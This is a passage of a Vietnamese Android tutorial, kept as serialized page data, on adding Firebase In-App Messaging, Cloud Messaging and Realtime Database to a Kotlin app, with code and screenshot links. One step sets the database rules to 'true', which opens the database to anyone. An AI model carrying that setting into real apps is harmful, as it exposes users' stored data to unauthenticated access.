“",[20,529,530],{},"Create a project","” để tạo một dự án mới.",[533,534],"img",{"className":535,"alt":66,"src":538,"style":539},[536,537],"block","mx-auto","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075255\u002FScreen-Shot-2020-02-20-at-9.31.55-AM.png","width: 100%;",[11,541,542,545,546],{},[20,543,544],{},"Bước 2",": Thực hiện theo các bước trong Firebase để tạo một dự án mới, sau khi tạo thành công, bạn sẽ thấy giao diện người dùng này, nhấp vào biểu tượng ",[20,547,548],{},"Android",[533,550],{"className":551,"alt":66,"src":552,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075332\u002FScreen-Shot-2020-02-20-at-9.43.53-AM.png",[11,554,555,558,559],{},[20,556,557],{},"Bước 3",": Bạn sẽ cần tên package trong dự án Android, bạn có thể tìm thấy tên package trong ",[20,560,561],{},"AndroidManifest",[11,563,564,569],{},[533,565],{"className":566,"alt":66,"src":567,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075551\u002FScreen-Shot-2020-02-21-at-3.19.26-PM.png","width: 70%;",[570,571],"br",{},[533,573],{"className":574,"alt":66,"src":575,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075616\u002FScreen-Shot-2020-02-20-at-9.51.12-AM-1024x121.png",[11,577,578,581,582,585],{},[20,579,580],{},"Bước 4",": Tải file ",[20,583,584],{},"google-services.json"," và thêm vào project Android",[11,587,588,589,591,592,595],{},"Chọn mục project để có thể thấy thư mục gốc trong dự án, thêm file ",[20,590,584],{}," mới tải xuống vào thư mục \"",[20,593,594],{},"Project ➜ app","\".",[533,597],{"className":598,"alt":66,"src":599,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075822\u002FScreen-Shot-2020-02-21-at-3.20.06-PM.png",[533,601],{"className":602,"alt":66,"src":603,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075857\u002FScreen-Shot-2020-02-20-at-9.56.43-AM.png","width: 50%;",[11,606,607,610],{},[20,608,609],{},"Bước 5",": Thêm SDK Firebase",[11,612,613,616,617,620],{},[20,614,615],{},"1."," Trong\"",[20,618,619],{},"build.gradle","\" (project):",[533,622],{"className":623,"alt":66,"src":624,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075949\u002FScreen-Shot-2020-02-20-at-9.58.50-AM.png",[11,626,627,630,631,633],{},[20,628,629],{},"2."," Trong \"",[20,632,619],{},"\" (app):",[533,635],{"className":636,"alt":66,"src":637,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM-1024x479.png",[11,639,640,643,644,647],{},[20,641,642],{},"Bước 6",": Cài đặt ứng dụng và chờ Firebase kiểm tra, bạn sẽ thấy thông báo khi thành công, chọn “",[20,645,646],{},"Continue to console","”, bây giờ Firebase đã được thêm vào project của bạn.",[533,649],{"className":650,"alt":66,"src":651,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080122\u002FScreen-Shot-2020-02-19-at-4.31.20-PM-31.png",[498,653,655],{"id":654},"iiiin-app-message","III. In-App Message",[657,658,660],"h3",{"id":659},"_1-giới-thiệu","1. Giới thiệu",[11,662,663],{},"Firebase In-App Messaging giúp ứng dụng của bạn có thể thu hút người dùng đang hoạt động bằng cách gửi cho họ những thông điệp tuỳ theo mục đích của bạn và khuyến khích họ sử dụng các tính năng chính của ứng dụng. Ví dụ: bạn có thể gửi tin nhắn trong ứng dụng để khiến người dùng đăng ký, xem video, hoàn thành cấp độ hoặc mua một mặt hàng nào đó. Bạn có thể tùy chỉnh tin nhắn dưới dạng cards, banners, modals, hoặc images, và bạn có thể cài đặt thời điểm hiển thị chính xác giúp cho chúng có thể mang lại lợi ích cho người dùng của bạn nhiều nhất.",[657,665,667],{"id":666},"_2-bắt-đầu","2. Bắt đầu",[11,669,670,672,673,56,676,679,680,682,683],{},[20,671,526],{},": Thêm “",[20,674,675],{},"implementation",[20,677,678],{},"‘com.google.firebase:firebase-inappmessaging-display:19.0.3’"," ” vào \"",[20,681,619],{},"\" (app) và \"",[20,684,685],{},"Sync Now\"",[533,687],{"className":688,"alt":66,"src":689,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080223\u002FScreen-Shot-2020-02-19-at-4.51.31-PM-33-1024x641.png",[11,691,692,694],{},[20,693,544],{},": Lấy Firebase instance ID (ID này được dùng để test in-app messaging trên Firebase)",[696,697,702],"pre",{"className":698,"code":700,"language":701},[699],"language-text","private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fcreate new instance id Token\n        val msg = task.result?.id\n        Log.d(TAG, \"token: $msg\")\n    }\n}\n","text",[703,704,700],"code",{"__ignoreMap":66},[533,706],{"className":707,"alt":66,"src":708,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080253\u002FScreen-Shot-2020-02-19-at-5.01.04-PM-35-1024x417.png",[11,710,711,713],{},[20,712,557],{},": Cài đặt ứng dụng và mở Logcat để lấy ID token",[533,715],{"className":716,"alt":66,"src":717,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080319\u002FScreen-Shot-2020-02-19-at-5.23.36-PM-51-1024x625.png",[11,719,720,722,723,726,727,730],{},[20,721,580],{},": Sau khi lấy được ID token, vào Firebase Console và đi đến mục ",[20,724,725],{},"In-App Messaging",", chọn “",[20,728,729],{},"Create your first campaign","”",[533,732],{"className":733,"alt":66,"src":734,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080401\u002FScreen-Shot-2020-02-19-at-5.06.23-PM-41-1024x606.png",[11,736,737,739,740,743,744,747,748,751,752,756],{},[20,738,609],{},": Nhập \"",[20,741,742],{},"Message title\""," (vd: Hello I'm FireBase), \"",[20,745,746],{},"Body","\" (không bắt buộc), ",[20,749,750],{},"Images"," (vd: ",[58,753,754],{"href":754,"rel":755},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2015\u002F10\u002F12\u002F14\u002F54\u002Fcoffee-983955_960_720.jpg",[62],")",[533,758],{"className":759,"alt":66,"src":760,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080500\u002FScreen-Shot-2020-02-19-at-5.12.17-PM-45-1.png",[11,762,763,764,767],{},"Thêm ",[20,765,766],{},"\"Button Text\""," (vd: ok)",[533,769],{"className":770,"alt":66,"src":771,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080533\u002FScreen-Shot-2020-02-19-at-5.12.47-PM-47.png",[11,773,774,776,777,780],{},[20,775,642],{},": Chọn “",[20,778,779],{},"Test on Device","”, và thêm ID token đã được hiển thị trong Logcat (Bước 3)",[533,782],{"className":783,"alt":66,"src":784,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080559\u002FScreen-Shot-2020-02-19-at-5.17.37-PM-49.png",[11,786,787,788,791],{},"Firebase In-App Messaging sẽ gửi tin nhắn đến cho bạn ngay sau khi chọn ",[20,789,790],{},"Test",". để thấy được tin nhắn, cho ứng dụng của bạn xuống background sau đó mở lại app.",[533,793],{"className":794,"alt":66,"src":795,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080625\u002FScreen-Shot-2020-02-19-at-5.24.22-PM-53-1024x663.png",[11,797,798],{},[20,799,800],{},"Kết quả sau khi mở lại ứng dụng:",[533,802],{"className":803,"alt":66,"src":804,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080648\u002FScreenshot_20200219-173204-57-768x1365.jpg",[11,806,807,810,811,814],{},[20,808,809],{},"Bước 7",": Sau khi test thành công , chọn \"",[20,812,813],{},"Next","\" để tiếp tục",[533,816],{"className":817,"alt":66,"src":818,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080709\u002FScreen-Shot-2020-02-20-at-10.50.56-AM.png",[570,820],{},[533,822],{"className":823,"alt":66,"src":824,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080755\u002FScreen-Shot-2020-02-20-at-10.54.15-AM.png",[11,826,827,828,831],{},"Chọn \"",[20,829,830],{},"Review\""," để publish tin nhắn.",[533,833],{"className":834,"alt":66,"src":835,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080836\u002FScreen-Shot-2020-02-20-at-10.56.19-AM.png",[570,837],{},[533,839],{"className":840,"alt":66,"src":841,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080911\u002FScreen-Shot-2020-02-20-at-10.55.31-AM-1024x663.png",[11,843,844,845,848],{},"Khi chọn \"",[20,846,847],{},"Publish\""," tin nhắn sẽ được gửi đến ứng dụng của bạn.",[11,850,851],{},[20,852,853],{},"Kết quả:",[855,856,861,865],"div",{"className":857},[858,859,860],"flex","justify-center","gap-4",[533,862],{"className":863,"alt":66,"src":864,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080936\u002FScreenshot_20200219-173204-57-1-576x1024.jpg",[533,866],{"className":867,"alt":66,"src":868,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080953\u002FScreenshot_20200219-173801-59-576x1024.jpg",[570,870],{},[533,872],{"className":873,"alt":66,"src":874,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081013\u002FScreenshot_20200219-173901-61-576x1024.jpg",[498,876,878],{"id":877},"iv-cloud-message","IV. Cloud Message",[657,880,660],{"id":881},"_1-giới-thiệu-1",[11,883,884],{},"Firebase Cloud Messaging (FCM) là một giải pháp nhắn tin đa nền tảng cho phép bạn gửi tin nhắn một cách đáng tin cậy và hoàn toàn miễn phí. sử dụng FCM, bạn có thông báo đến cho người dùng rằng email mới hoặc dữ liệu khác đã có sẵn để đồng bộ hóa. Bạn có thể gửi tin nhắn thông báo để thúc đẩy sự tham gia và duy trì của người dùng. Đối với các trường hợp sử dụng như nhắn tin tức thời, tin nhắn có thể chuyển tải trọng lên tới 4KB cho ứng dụng.",[657,886,667],{"id":887},"_2-bắt-đầu-1",[11,889,890,672,892,56,894,897,898,682,900],{},[20,891,526],{},[20,893,675],{},[20,895,896],{},"'com.google.firebase:firebase-messaging:20.1.0'"," ” vào \"",[20,899,619],{},[20,901,685],{},[533,903],{"className":904,"alt":66,"src":905,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081040\u002FScreen-Shot-2020-02-20-at-8.07.39-AM-63-1024x627.png",[11,907,908,910,911],{},[20,909,544],{}," : Thêm service vào File ",[20,912,561],{},[696,914,917],{"className":915,"code":916,"language":701},[699],"\u003Cservice\n     android:name=\".java.MyFirebaseMessagingService\"\n     android:exported=\"false\">\n     \u003Cintent-filter>\n         \u003Caction android:name=\"com.google.firebase.MESSAGING_EVENT\" \u002F>\n     \u003C\u002Fintent-filter>\n\u003C\u002Fservice>\n",[703,918,916],{"__ignoreMap":66},[11,920,921,924,925,928],{},[20,922,923],{},"MyFirebaseMessagingService"," thừa kế từ ",[20,926,927],{},"FirebaseMessagingService",". Đây là bắt buộc nếu bạn muốn xử lý bất kì tin nhắn thông báo nào trên ứng dụng của bạn chạy dưới background. Để nhận thông báo trong foreground ứng dụng, để nhận dữ liệu, để gửi các thư ngược lại và nhiều hơn nữa... Bạn phải thừa kế từ service này.",[533,930],{"className":931,"alt":66,"src":932,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081111\u002FScreen-Shot-2020-02-20-at-8.13.02-AM-65-1024x625.png",[11,934,935,936,939,940,942],{},"Bây giờ bạn sẽ thấy ",[20,937,938],{},"dòng 23"," bị lỗi, bởi vì chưa có class ",[20,941,923],{}," trong project",[533,944],{"className":945,"alt":66,"src":946,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081137\u002FScreen-Shot-2020-02-20-at-8.16.28-AM-67.png",[570,948],{},[11,950,951,955],{},[533,952],{"className":953,"alt":66,"src":954,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081206\u002FScreen-Shot-2020-02-20-at-8.17.14-AM-69.png",[570,956],{},[533,958],{"className":959,"alt":66,"src":960,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081227\u002FScreen-Shot-2020-02-20-at-8.17.30-AM-71-1024x183.png",[11,962,963,964,967,968,974],{},"Đổi package name từ ",[20,965,966],{},".java.MyFirebaseMessagingService"," thành ",[20,969,970],{},[971,972,973],"package",{},".MyFirebaseMessagingService",".",[533,976],{"className":977,"alt":66,"src":978,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081251\u002FScreen-Shot-2020-02-20-at-8.24.31-AM-77-1024x627.png",[11,980,981,983],{},[20,982,557],{}," (Không bắt buộc): Thêm icon mặc định và màu, bạn có thể bỏ qua bước này nếu như bạn không cần",[696,985,988],{"className":986,"code":987,"language":701},[699],"\u003C!-- Set custom default icon. This is used when no icon is set for incoming notification messages.\n     See README(https:\u002F\u002Fgoo.gl\u002Fl4GJaQ) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_icon\"\n    android:resource=\"@drawable\u002Fic_stat_ic_notification\" \u002F>\n\u003C!-- Set color used with incoming notification messages. This is used when no color is set for the incoming\n     notification message. See README(https:\u002F\u002Fgoo.gl\u002F6BKBk7) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_color\"\n    android:resource=\"@color\u002FcolorAccent\" \u002F>\n",[703,989,987],{"__ignoreMap":66},[533,991],{"className":992,"alt":66,"src":993,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081324\u002FScreen-Shot-2020-02-20-at-8.36.41-AM-79-1024x627.png",[11,995,996,998,999,967,1002,1005,1006,1009],{},[20,997,580],{}," (Không bắt buộc): Từ Android 8.0 (API level 26) và cao hơn, các thông báo đã được hỗ trợ và đề xuất. FCM cung cấp thông báo mặc định với cài đặt cơ bản. Còn nếu bạn muốn thông báo với giao diện của riêng mình, bạn hãy đặt ",[20,1000,1001],{},"default_notification_channel_id",[20,1003,1004],{},"ID"," thông báo của bạn như hình bên dưới. FCM sẽ sử dụng giá trị này với bất cứ tin nhắn nào đến mà không thiết lập thông báo nào vào thư mục ",[20,1007,1008],{},"res\u002Fvalues\u002Fstrings.xml"," và thêm dòng code này.",[696,1011,1014],{"className":1012,"code":1013,"language":701},[699],"\u003Cstring name=\"default_notification_channel_id\">1\u003C\u002Fstring>\n",[703,1015,1013],{"__ignoreMap":66},[533,1017],{"className":1018,"alt":66,"src":1019,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081349\u002FScreen-Shot-2020-02-20-at-8.44.38-AM-83-1024x350.png",[11,1021,1022,1023,1026],{},"Mở file ",[20,1024,1025],{},"AndroidMnifest"," và thêm đoạn code này.",[696,1028,1031],{"className":1029,"code":1030,"language":701},[699],"\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_channel_id\"\n    android:value=\"@string\u002Fdefault_notification_channel_id\" \u002F>\n",[703,1032,1030],{"__ignoreMap":66},[533,1034],{"className":1035,"alt":66,"src":1036,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081416\u002FScreen-Shot-2020-02-20-at-8.46.55-AM-85-1024x627.png",[11,1038,64,1039,1041,1042,1045],{},[20,1040,609],{},": Vào file ",[20,1043,1044],{},"MainActivity"," để lấy token (dùng để test FCM)",[696,1047,1050],{"className":1048,"code":1049,"language":701},[699],"private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fget id Token\n        \u002F\u002F Get new Instance ID token\n        val token = task.result?.token\n\n        \u002F\u002F Log and toast\n        Log.d(TAG, \"token: $token\")\n        Toast.makeText(baseContext, \"token: $token\", Toast.LENGTH_SHORT).show()\n    }\n}\n",[703,1051,1049],{"__ignoreMap":66},[533,1053],{"className":1054,"alt":66,"src":1055,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081446\u002FScreen-Shot-2020-02-20-at-8.56.08-AM-87-1024x626.png",[11,1057,1058],{},"Cài app vào chạy, nếu thành công bạn sẽ nhận được Firebase instance ID.",[533,1060],{"className":1061,"alt":66,"src":1062,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081508\u002FScreenshot_20200220-125154-768x1365.jpg",[11,1064,1065,1067,1068],{},[20,1066,642],{},": Thiết lập file ",[20,1069,923],{},[696,1071,1074],{"className":1072,"code":1073,"language":701},[699],"class MyFirebaseMessagingService : FirebaseMessagingService() {\n    companion object {\n        private val TAG = this::class.java.simpleName\n    }\n\n    override fun onNewToken(token: String) {\n        Log.d(TAG, \"Refreshed token: $token\")\n        super.onNewToken(token)\n    }\n\n    override fun onMessageReceived(remoteMessage: RemoteMessage) {\n        super.onMessageReceived(remoteMessage)\n        Log.d(TAG, \"From: ${remoteMessage.from}\")\n\n        remoteMessage.data.isNotEmpty().let {\n        }\n\n        remoteMessage.notification?.let {\n            Log.d(TAG, \"Message Notification Body: ${it.body}\")\n            it.body?.let { body ->\n                sendNotification(body)\n            }\n        }\n    }\n\n    private fun sendNotification(messageBody: String) {\n        val intent = Intent(this, CloudMessageActivity::class.java)\n        intent.flags = Intent.FLAG_ACTIVITY_CLEAR_TOP\n        val pendingIntent = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_ONE_SHOT)\n\n        val channelId = getString(R.string.default_notification_channel_id)\n        val defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION)\n        val notificationBuilder = NotificationCompat.Builder(this, channelId)\n            .setSmallIcon(R.drawable.ic_notifications)\n            .setContentTitle(\"Mess Title\")\n            .setContentText(messageBody)\n            .setAutoCancel(true)\n            .setSound(defaultSoundUri)\n            .setContentIntent(pendingIntent)\n\n        val notificationManager =\n            getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            val channel = NotificationChannel(\n                channelId, \"Channel human readable title\",\n                NotificationManager.IMPORTANCE_DEFAULT\n            )\n            notificationManager.createNotificationChannel(channel)\n        }\n\n        notificationManager.notify(1, notificationBuilder.build())\n    }\n}\n",[703,1075,1073],{"__ignoreMap":66},[11,1077,1078,1080],{},[20,1079,809],{},": Test FCM trên Firebase",[533,1082],{"className":1083,"alt":66,"src":1084,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081528\u002FScreen-Shot-2020-02-20-at-12.47.45-PM.png",[11,1086,1087,1088,1091,1092,1094,1095,1098,1099],{},"Nhập ",[20,1089,1090],{},"Title",", ",[20,1093,701],{}," và ",[20,1096,1097],{},"image"," (không bắt buộc) vd ",[58,1100,1101],{"href":1101,"rel":1102},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161_960_720.png",[62],[533,1104],{"className":1105,"alt":66,"src":1106,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081545\u002FScreen-Shot-2020-02-20-at-1.00.12-PM.png",[11,1108,1109,1110,1113],{},"Thêm ID token đã lấy được trong ",[20,1111,1112],{},"Logcat"," (bước 5)",[533,1115],{"className":1116,"alt":66,"src":1117,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081608\u002FScreen-Shot-2020-02-20-at-1.07.28-PM.png",[11,1119,1120],{},[20,1121,1122],{},"Kết quả test:",[533,1124],{"className":1125,"alt":66,"src":1126,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081635\u002FScreenshot_20200220-141558-768x1365.jpg",[11,1128,1129,1132],{},[20,1130,1131],{},"Bước 8",": Tạo và gửi tin nhắn",[11,1134,1135,1136,1138],{},"Sau khi test thành công, chọn \"",[20,1137,813],{},"\"để tiếp tục",[11,1140,1141,1145],{},[533,1142],{"className":1143,"alt":66,"src":1144,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081717\u002FScreen-Shot-2020-02-20-at-2.22.42-PM.png",[570,1146],{},[11,1148,1149,1153],{},[533,1150],{"className":1151,"alt":66,"src":1152,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081729\u002FScreen-Shot-2020-02-20-at-2.25.56-PM.png",[570,1154],{},[533,1156],{"className":1157,"alt":66,"src":1158,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081755\u002FScreen-Shot-2020-02-20-at-2.23.43-PM.png",[11,1160,1161,1162,1164],{},"Sau khi chọn \"",[20,1163,847],{}," Firebase sẽ gửi tin nhắn đến cho ứng dụng",[11,1166,1167,1170],{},[20,1168,1169],{},"Kết quả",":",[855,1172,1174,1179],{"className":1173},[858,859,860],[533,1175],{"className":1176,"alt":66,"src":1177,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081831\u002FScreenshot_20200220-144456_One-UI-Home-768x652.jpg","width: 60%;",[533,1180],{"className":1181,"alt":66,"src":1182,"style":1183},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081852\u002FScreenshot_20200220-144505-768x954.png","width: 40%;",[570,1185],{},[533,1187],{"className":1188,"alt":66,"src":1189,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081914\u002FScreenshot_20200220-144509-576x1024.jpg",[498,1191,1193],{"id":1192},"v-realtime-database","V. Realtime Database",[657,1195,660],{"id":1196},"_1-giới-thiệu-2",[11,1198,1199],{},"Firebase Realtime Database là cơ sở dữ liệu lưu trữ trên mây. Dữ liệu được lưu trữ và đồng bộ hóa theo thời gian thực với mỗi client được kêt nối. Khi bạn xây dựng ứng dụng đa nền tảng với iOS, Android, và javascript SDK, tất cả các client của bạn chia sẽ một thể hiện Realtime Database và tự động tiếp nhận các thay đổi với dữ liệu mới nhất.",[657,1201,667],{"id":1202},"_2-bắt-đầu-2",[11,1204,1205,672,1207,1210,1211,682,1213],{},[20,1206,526],{},[20,1208,1209],{},"implementation 'com.google.firebase:firebase-database:19.2.1'","” vào \"",[20,1212,619],{},[20,1214,685],{},[533,1216],{"className":1217,"alt":66,"src":1218,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082008\u002FScreen-Shot-2020-02-20-at-3.26.15-PM-1024x382.png",[11,1220,1221,1223,1224,1227,1228],{},[20,1222,544],{},": Sửa \"",[20,1225,1226],{},"Rules","\" realtime database thành ",[20,1229,1230],{},"true",[533,1232],{"className":1233,"alt":66,"src":1234,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082049\u002FScreen-Shot-2020-02-20-at-3.38.14-PM-1024x541.png",[11,1236,1237,1238,1240,1241,1246],{},"chi tiết về \"",[20,1239,1226],{},"\" của real time database bạn có thể xem ở ",[58,1242,1245],{"href":1243,"rel":1244},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fdatabase\u002Fsecurity\u002Fquickstart#sample-rules%22",[62],"link"," này",[11,1248,1249,1251],{},[20,1250,557],{},": Tạo class UserModel",[696,1253,1256],{"className":1254,"code":1255,"language":701},[699],"data class UserModel(\n    var id: String = \"\",\n    var name: String = \"\",\n    var age: Int = 0,\n    var email: String = \"\"\n) {\n    override fun toString(): String {\n        return \"UserModel(id='$id', name='$name', age=$age, email='$email')\"\n    }\n}\n",[703,1257,1255],{"__ignoreMap":66},[11,1259,1260,1262],{},[20,1261,580],{},": Tạo 1 layout gồm 3 edit text (name, age and email), 4 button (insert, get, update, delete), 1 recycler view để chứa dữ liệu User",[533,1264],{"className":1265,"alt":66,"src":1266,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082107\u002FScreenshot_20200220-160304-739x1536.png",[11,1268,1269],{},[20,1270,1271],{},"Bước 5:",[31,1273,1274],{},[34,1275,1276,1170],{},[1277,1278,1279],"em",{},"Thêm dữ liệu vào database",[11,1281,1282,1283],{},"Đầu tiên, khởi tạo biến ",[20,1284,1285],{},"databaseReference",[696,1287,1290],{"className":1288,"code":1289,"language":701},[699],"private fun initDatabase() {\n    databaseReference = FirebaseDatabase.getInstance().reference\n}\n",[703,1291,1289],{"__ignoreMap":66},[11,1293,1294,1295,974],{},"Tiếp theo, lấy dữ liệu từ EditText và ",[1277,1296,1297],{},"thêm vào database",[696,1299,1302],{"className":1300,"code":1301,"language":701},[699],"private fun insertUser() {\n    if (edt_name.text.isNullOrEmpty() || edt_age.text.isNullOrEmpty() || edt_email.text.isNullOrEmpty()) {\n        Toast.makeText(this, \"Some field are missing.\", Toast.LENGTH_SHORT).show()\n        return\n    }\n\n    \u002F\u002Fget 